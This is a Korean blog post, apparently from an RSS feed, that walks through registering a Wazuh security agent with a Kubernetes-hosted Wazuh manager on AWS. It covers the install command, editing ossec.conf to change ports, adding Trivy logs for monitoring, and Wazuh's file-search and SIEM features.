&lt;p data-ke-size=&quot;size16&quot;&gt;주의 처음 ip등록할떄는 1515 도메인으로 연결해준다음에 vi /var/ossec/etc/ossec.conf 명령어로 1514의 도메인으로 수정해주고 sudo systemctl restart wazuh-agent 이걸로 에이전트를 다시 실행해줘야한다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;dashboard       LoadBalancer   172.20.121.201   k8s-wazuh-dashboar-5cd5eb3ced-47cf773c8bb6c733.elb.us-east-2.amazonaws.com   443:31899/TCP                    6d22h
indexer         LoadBalancer   172.20.39.187    k8s-wazuh-indexer-05e7c1c667-6c134e11715d97fb.elb.us-east-2.amazonaws.com    9200:31168/TCP                   6d22h
wazuh           LoadBalancer   172.20.37.46     k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com      1515:30362/TCP,55000:31300/TCP   6d22h
wazuh-cluster   ClusterIP      None             &amp;lt;none&amp;gt;                                                                       1516/TCP                         6d22h
wazuh-indexer   ClusterIP      None             &amp;lt;none&amp;gt;                                                                       9300/TCP                         6d22h
wazuh-workers   LoadBalancer   172.20.93.8      k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com   1514:31816/TCP                   6d22h&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;설치 명령어 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl -o wazuh-agent-4.6.0-1.x86_64.rpm &lt;a href=&quot;https://packages.wazuh.com/4.x/yum/wazuh-agent-4.6.0-1.x86_64.rpm&quot;&gt;https://packages.wazuh.com/4.x/yum/wazuh-agent-4.6.0-1.x86_64.rpm&lt;/a&gt; &amp;amp;&amp;amp; sudo WAZUH_MANAGER='&lt;code&gt;k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com&lt;/code&gt;' WAZUH_REGISTRATION_PASSWORD='&lt;code&gt;password&lt;/code&gt;' WAZUH_AGENT_GROUP=&lt;code&gt;'default&lt;/code&gt;' WAZUH_AGENT_NAME='&lt;code&gt;trivy-agent&lt;/code&gt;' rpm -ihv wazuh-agent-4.6.0-1.x86_64.rpm&lt;/p&gt;
&lt;pre class=&quot;subunit&quot;&gt;&lt;code&gt;curl -o wazuh-agent-4.6.0-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.6.0-1.x86_64.rpm &amp;amp;&amp;amp; sudo WAZUH_MANAGER='k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com' WAZUH_REGISTRATION_PASSWORD='password' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='trivy-agent' rpm -ihv wazuh-agent-4.6.0-1.x86_64.rpm&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;[k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com](http://k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com)&lt;/code&gt; : 1515 서비스의 도메인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;password&lt;/code&gt; : \wazuh\secrets\wazuh-authd-pass-secret.yaml 에 password로 password가 지정되어있음&lt;/li&gt;
&lt;li&gt;&lt;code&gt;default&lt;/code&gt; : agent group을 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trivy-agent&lt;/code&gt; : agent이름을 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;wazuh-agent 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;접속 도메인 변경&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;agent 설정파일 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;vi /var/ossec/etc/ossec.conf&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1514포트인 도메인으로 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;dashboard       LoadBalancer   172.20.121.201   k8s-wazuh-dashboar-5cd5eb3ced-47cf773c8bb6c733.elb.us-east-2.amazonaws.com   443:31899/TCP                    6d22h
indexer         LoadBalancer   172.20.39.187    k8s-wazuh-indexer-05e7c1c667-6c134e11715d97fb.elb.us-east-2.amazonaws.com    9200:31168/TCP                   6d22h
wazuh           LoadBalancer   172.20.37.46     k8s-wazuh-wazuh-3e0721f42c-bef9798678a81a35.elb.us-east-2.amazonaws.com      1515:30362/TCP,55000:31300/TCP   6d22h
wazuh-cluster   ClusterIP      None             &amp;lt;none&amp;gt;                                                                       1516/TCP                         6d22h
wazuh-indexer   ClusterIP      None             &amp;lt;none&amp;gt;                                                                       9300/TCP                         6d22h
wazuh-workers   LoadBalancer   172.20.93.8      k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com   1514:31816/TCP                   6d22h&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;client&amp;gt;
  &amp;lt;server&amp;gt;
    &amp;lt;address&amp;gt;k8s-wazuh-wazuhwor-eb59a6b113-6e4884d26af16cba.elb.us-east-2.amazonaws.com&amp;lt;/address&amp;gt;
  &amp;lt;/server&amp;gt;
&amp;lt;/client&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;agent 재시작&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;sudo systemctl restart wazuh-agent&lt;/code&gt;&lt;/pre&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;agent 연결 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZYlL8/btsCg5Qufi2/VcTrodnCKKxpK6sfYJmxP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZYlL8/btsCg5Qufi2/VcTrodnCKKxpK6sfYJmxP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZYlL8/btsCg5Qufi2/VcTrodnCKKxpK6sfYJmxP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZYlL8%2FbtsCg5Qufi2%2FVcTrodnCKKxpK6sfYJmxP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;927&quot; height=&quot;313&quot; data-filename=&quot;Untitled 14.png&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;aside&gt;  Trouble Shooting - 자동 서버 재등록
&lt;p data-ke-size=&quot;size16&quot;&gt;/var/ossec/etc/ossec.conf의 auto_resatart를 no로 해주면 자동으로 agent에 등록되는것을 막을 수 있다.&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;301&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bigYq5/btsB7a65FEK/6TqPbWucxhQbyy5kCEjWM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bigYq5/btsB7a65FEK/6TqPbWucxhQbyy5kCEjWM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bigYq5/btsB7a65FEK/6TqPbWucxhQbyy5kCEjWM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbigYq5%2FbtsB7a65FEK%2F6TqPbWucxhQbyy5kCEjWM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;301&quot; data-filename=&quot;Untitled 15.png&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;301&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;aside&gt;&lt;/aside&gt;
&lt;h1&gt;wazuh의 기능&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;특정 관제 파일 추가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/monitoring-log-files.html&quot;&gt;https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/monitoring-log-files.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vi /var/ossec/etc/ossec.conf&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;  &amp;lt;localfile&amp;gt;
    &amp;lt;log_format&amp;gt;json&amp;lt;/log_format&amp;gt;
    &amp;lt;location&amp;gt;/var/log/trivy/*&amp;lt;/location&amp;gt;
  &amp;lt;/localfile&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/home/ec2-user/test&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baLyGN/btsB6wvReYB/1Si9ZZGJuAX3dwj9XJHuo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baLyGN/btsB6wvReYB/1Si9ZZGJuAX3dwj9XJHuo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baLyGN/btsB6wvReYB/1Si9ZZGJuAX3dwj9XJHuo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaLyGN%2FbtsB6wvReYB%2F1Si9ZZGJuAX3dwj9XJHuo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;123&quot; data-filename=&quot;Untitled 16.png&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;331&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chPW0z/btsB84k1TSc/Uy3mAttAYqoFmkhUzYRNO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chPW0z/btsB84k1TSc/Uy3mAttAYqoFmkhUzYRNO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chPW0z/btsB84k1TSc/Uy3mAttAYqoFmkhUzYRNO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchPW0z%2FbtsB84k1TSc%2FUy3mAttAYqoFmkhUzYRNO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;331&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;331&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://documentation.wazuh.com/current/user-manual/capabilities/file-integrity/how-to-configure-fim.html&quot;&gt;https://documentation.wazuh.com/current/user-manual/capabilities/file-integrity/how-to-configure-fim.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 관제 대상 파일의 권한을 수정해줘야 할 수 도 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;파일 검색&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;agent가 설치되면 다음과 같이 파일을 검색할 수 도 있으며 파일의 내용은 확인 못하지만 메타 데이터를 확인 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;1883&quot; data-origin-height=&quot;728&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bT5Yt5/btsCfzxYTsA/dZeBRTKQKehq8ijpYMVMj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bT5Yt5/btsCfzxYTsA/dZeBRTKQKehq8ijpYMVMj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bT5Yt5/btsCfzxYTsA/dZeBRTKQKehq8ijpYMVMj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbT5Yt5%2FbtsCfzxYTsA%2FdZeBRTKQKehq8ijpYMVMj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1883&quot; height=&quot;728&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;1883&quot; data-origin-height=&quot;728&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1243&quot; data-origin-height=&quot;653&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y7t8a/btsB7RMX30X/ZPr7Sylg4k1X14AbkB2XbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y7t8a/btsB7RMX30X/ZPr7Sylg4k1X14AbkB2XbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y7t8a/btsB7RMX30X/ZPr7Sylg4k1X14AbkB2XbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy7t8a%2FbtsB7RMX30X%2FZPr7Sylg4k1X14AbkB2XbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1243&quot; height=&quot;653&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1243&quot; data-origin-height=&quot;653&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Wazuh &lt;b&gt;보안 정보 및 이벤트 관리(SIEM)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://wazuh.com/platform/siem/&quot;&gt;https://wazuh.com/platform/siem/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;821&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2OiH0/btsB7OvYQNu/1Kh5gZrO0NIKtvpJSpZmUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2OiH0/btsB7OvYQNu/1Kh5gZrO0NIKtvpJSpZmUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2OiH0/btsB7OvYQNu/1Kh5gZrO0NIKtvpJSpZmUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2OiH0%2FbtsB7OvYQNu%2F1Kh5gZrO0NIKtvpJSpZmUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;821&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;821&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DevOps</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/195</guid>
      <comments>https://wpgur.tistory.com/195#entry195comment</comments>
      <pubDate>Mon, 18 Dec 2023 23:28:45 +0900</pubDate>
    </item>
  </channel>
</rss>